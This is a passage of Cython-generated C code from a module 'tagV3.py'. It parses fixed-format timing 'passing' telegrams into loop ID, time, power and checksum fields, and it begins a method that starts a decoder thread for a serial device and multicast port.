__pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_data = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("__init__", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 310, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.passing.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7passing___init__(__pyx_self, __pyx_v_self, __pyx_v_data); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7passing___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_data) { PyObject *__pyx_v_byte = NULL; PyObject *__pyx_v_compute = NULL; long __pyx_v_i; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; int __pyx_t_5; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; long __pyx_t_8; int __pyx_t_9; PyObject *__pyx_t_10 = NULL; PyObject *__pyx_t_11 = NULL; int __pyx_t_12; char const *__pyx_t_13; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; __Pyx_RefNannySetupContext("__init__", 0); /* "tagV3.py":311 * class passing(): * def __init__(self, data = ""): * self.telegram = data # <<<<<<<<<<<<<< * try: * if data[0:1] == '<': */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_telegram, __pyx_v_data) < 0) __PYX_ERR(0, 311, __pyx_L1_error) /* "tagV3.py":312 * def __init__(self, data = ""): * self.telegram = data * try: # <<<<<<<<<<<<<< * if data[0:1] == '<': * self.loop_ID = data[1:4] */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "tagV3.py":313 * self.telegram = data * try: * if data[0:1] == '<': # <<<<<<<<<<<<<< * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 0, 1, NULL, NULL, &__pyx_slice__2, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 313, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = (__Pyx_PyUnicode_Equals(__pyx_t_4, __pyx_kp_u__3, Py_EQ)); if (unlikely(__pyx_t_5 < 0)) __PYX_ERR(0, 313, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_5) { /* "tagV3.py":314 * try: * if data[0:1] == '<': * self.loop_ID = data[1:4] # <<<<<<<<<<<<<< * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 1, 4, NULL, NULL, &__pyx_slice__4, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 314, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_loop_ID, __pyx_t_4) < 0) __PYX_ERR(0, 314, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "tagV3.py":315 * if data[0:1] == '<': * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) # <<<<<<<<<<<<<< * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 5, 11, NULL, NULL, &__pyx_slice__5, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_tp, __pyx_t_6) < 0) __PYX_ERR(0, 315, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":316 * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) # <<<<<<<<<<<<<< * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) */ __pyx_t_6 = __Pyx_PyObject_GetSlice(__pyx_v_data, 12, 14, NULL, NULL, &__pyx_slice__6, 1, 1, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_hours, __pyx_t_4) < 0) __PYX_ERR(0, 316, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "tagV3.py":317 * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) # <<<<<<<<<<<<<< * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 15, 17, NULL, NULL, &__pyx_slice__7, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_minutes, __pyx_t_6) < 0) __PYX_ERR(0, 317, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":318 * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) # <<<<<<<<<<<<<< * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) */ __pyx_t_6 = __Pyx_PyObject_GetSlice(__pyx_v_data, 18, 20, NULL, NULL, &__pyx_slice__8, 1, 1, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 318, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 318, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_seconds, __pyx_t_4) < 0) __PYX_ERR(0, 318, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "tagV3.py":319 * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) # <<<<<<<<<<<<<< * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 21, 24, NULL, NULL, &__pyx_slice__9, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 319, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 319, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_millis, __pyx_t_6) < 0) __PYX_ERR(0, 319, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":320 * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) # <<<<<<<<<<<<<< * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) */ __pyx_t_6 = __Pyx_PyObject_GetSlice(__pyx_v_data, 25, 27, NULL, NULL, &__pyx_slice__10, 1, 1, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 320, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 320, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_power, __pyx_t_4) < 0) __PYX_ERR(0, 320, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "tagV3.py":321 * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) # <<<<<<<<<<<<<< * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 28, 30, NULL, NULL, &__pyx_slice__11, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_loopcout, __pyx_t_6) < 0) __PYX_ERR(0, 321, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":322 * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) # <<<<<<<<<<<<<< * self.checksum = int( data[33:37] ) * byte = bytearray( data[1:33].encode() ) */ __pyx_t_6 = __Pyx_PyObject_GetSlice(__pyx_v_data, 31, 32, NULL, NULL, &__pyx_slice__12, 1, 1, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 322, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 322, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_btpower, __pyx_t_4) < 0) __PYX_ERR(0, 322, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "tagV3.py":323 * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) # <<<<<<<<<<<<<< * byte = bytearray( data[1:33].encode() ) * compute = 0 */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 33, 37, NULL, NULL, &__pyx_slice__13, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 323, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 323, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_checksum, __pyx_t_6) < 0) __PYX_ERR(0, 323, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":324 * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) * byte = bytearray( data[1:33].encode() ) # <<<<<<<<<<<<<< * compute = 0 * for i in range(0,32): */ __pyx_t_4 = __Pyx_PyObject_GetSlice(__pyx_v_data, 1, 33, NULL, NULL, &__pyx_slice__14, 1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 324, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_encode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 324, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 324, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 324, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyTuple_New(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 324, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(((PyObject *)(&PyByteArray_Type)), __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 324, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_v_byte = ((PyObject*)__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":325 * self.checksum = int( data[33:37] ) * byte = bytearray( data[1:33].encode() ) * compute = 0 # <<<<<<<<<<<<<< * for i in range(0,32): * compute += byte[i] */ __Pyx_INCREF(__pyx_int_0); __pyx_v_compute = __pyx_int_0; /* "tagV3.py":326 * byte = bytearray( data[1:33].encode() ) * compute = 0 * for i in range(0,32): # <<<<<<<<<<<<<< * compute += byte[i] * if compute == self.checksum: */ for (__pyx_t_8 = 0; __pyx_t_8 < 32; __pyx_t_8+=1) { __pyx_v_i = __pyx_t_8; /* "tagV3.py":327 * compute = 0 * for i in range(0,32): * compute += byte[i] # <<<<<<<<<<<<<< * if compute == self.checksum: * self.valid = True */ __pyx_t_9 = __Pyx_GetItemInt_ByteArray(__pyx_v_byte, __pyx_v_i, long, 1, __Pyx_PyInt_From_long, 0, 1, 1); if (unlikely(__pyx_t_9 == -1)) __PYX_ERR(0, 327, __pyx_L3_error) __pyx_t_6 = __Pyx_PyInt_From_int(__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 327, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = PyNumber_InPlaceAdd(__pyx_v_compute, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 327, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF_SET(__pyx_v_compute, __pyx_t_7); __pyx_t_7 = 0; } /* "tagV3.py":328 * for i in range(0,32): * compute += byte[i] * if compute == self.checksum: # <<<<<<<<<<<<<< * self.valid = True * else: */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_checksum); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 328, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = PyObject_RichCompare(__pyx_v_compute, __pyx_t_7, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 328, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_5 < 0)) __PYX_ERR(0, 328, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_5) { /* "tagV3.py":329 * compute += byte[i] * if compute == self.checksum: * self.valid = True # <<<<<<<<<<<<<< * else: * self.valid = False */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_valid, Py_True) < 0) __PYX_ERR(0, 329, __pyx_L3_error) /* "tagV3.py":328 * for i in range(0,32): * compute += byte[i] * if compute == self.checksum: # <<<<<<<<<<<<<< * self.valid = True * else: */ goto __pyx_L14; } /* "tagV3.py":331 * self.valid = True * else: * self.valid = False # <<<<<<<<<<<<<< * else: * self.valid = False */ /*else*/ { if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_valid, Py_False) < 0) __PYX_ERR(0, 331, __pyx_L3_error) } __pyx_L14:; /* "tagV3.py":313 * self.telegram = data * try: * if data[0:1] == '<': # <<<<<<<<<<<<<< * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) */ goto __pyx_L11; } /* "tagV3.py":333 * self.valid = False * else: * self.valid = False # <<<<<<<<<<<<<< * except Exception as e: * print( e ) */ /*else*/ { if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_valid, Py_False) < 0) __PYX_ERR(0, 333, __pyx_L3_error) } __pyx_L11:; /* "tagV3.py":312 * def __init__(self, data = ""): * self.telegram = data * try: # <<<<<<<<<<<<<< * if data[0:1] == '<': * self.loop_ID = data[1:4] */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; /* "tagV3.py":334 * else: * self.valid = False * except Exception as e: # <<<<<<<<<<<<<< * print( e ) * self.valid = False */ __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_9) { __Pyx_AddTraceback("tagV3.passing.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_7, &__pyx_t_4) < 0) __PYX_ERR(0, 334, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_7); __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __pyx_v_e = __pyx_t_7; /*try:*/ { /* "tagV3.py":335 * self.valid = False * except Exception as e: * print( e ) # <<<<<<<<<<<<<< * self.valid = False * */ __pyx_t_10 = PyTuple_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 335, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_v_e); __pyx_t_11 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_10, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 335, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; /* "tagV3.py":336 * except Exception as e: * print( e ) * self.valid = False # <<<<<<<<<<<<<< * * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_valid, Py_False) < 0) __PYX_ERR(0, 336, __pyx_L20_error) } /* "tagV3.py":334 * else: * self.valid = False * except Exception as e: # <<<<<<<<<<<<<< * print( e ) * self.valid = False */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L21; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L20_error:; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_15, &__pyx_t_16) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_15, &__pyx_t_16); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __pyx_t_9 = __pyx_lineno; __pyx_t_12 = __pyx_clineno; __pyx_t_13 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_ExceptionReset(__pyx_t_17, __pyx_t_18, __pyx_t_19); } __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_ErrRestore(__pyx_t_14, __pyx_t_15, __pyx_t_16); __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_lineno = __pyx_t_9; __pyx_clineno = __pyx_t_12; __pyx_filename = __pyx_t_13; goto __pyx_L5_except_error; } __pyx_L21:; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; goto __pyx_L4_exception_handled; } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "tagV3.py":312 * def __init__(self, data = ""): * self.telegram = data * try: # <<<<<<<<<<<<<< * if data[0:1] == '<': * self.loop_ID = data[1:4] */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L4_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); __pyx_L10_try_end:; } /* "tagV3.py":310 * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): * def __init__(self, data = ""): # <<<<<<<<<<<<<< * self.telegram = data * try: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_11); __Pyx_AddTraceback("tagV3.passing.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_byte); __Pyx_XDECREF(__pyx_v_compute); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":345 * task = dict([]) * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) * return p */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_1createThread(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_1createThread = {"createThread", (PyCFunction)__pyx_pw_5tagV3_7decoder_1createThread, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_1createThread(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_d = 0; PyObject *__pyx_v_decoder = 0; CYTHON_UNUSED PyObject *__pyx_v_name = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("createThread (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_d,&__pyx_n_s_decoder,&__pyx_n_s_name,0}; PyObject* values[4] = {0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_d)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 1); __PYX_ERR(0, 345, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_decoder)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 2); __PYX_ERR(0, 345, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_name)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, 3); __PYX_ERR(0, 345, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "createThread") < 0)) __PYX_ERR(0, 345, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 4) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); } __pyx_v_self = values[0]; __pyx_v_d = values[1]; __pyx_v_decoder = values[2]; __pyx_v_name = values[3]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("createThread", 1, 4, 4, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 345, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.createThread", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_createThread(__pyx_self, __pyx_v_self, __pyx_v_d, __pyx_v_decoder, __pyx_v_name); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_createThread(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_d, PyObject *__pyx_v_decoder, CYTHON_UNUSED PyObject *__pyx_v_name) { PyObject *__pyx_v_p = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject 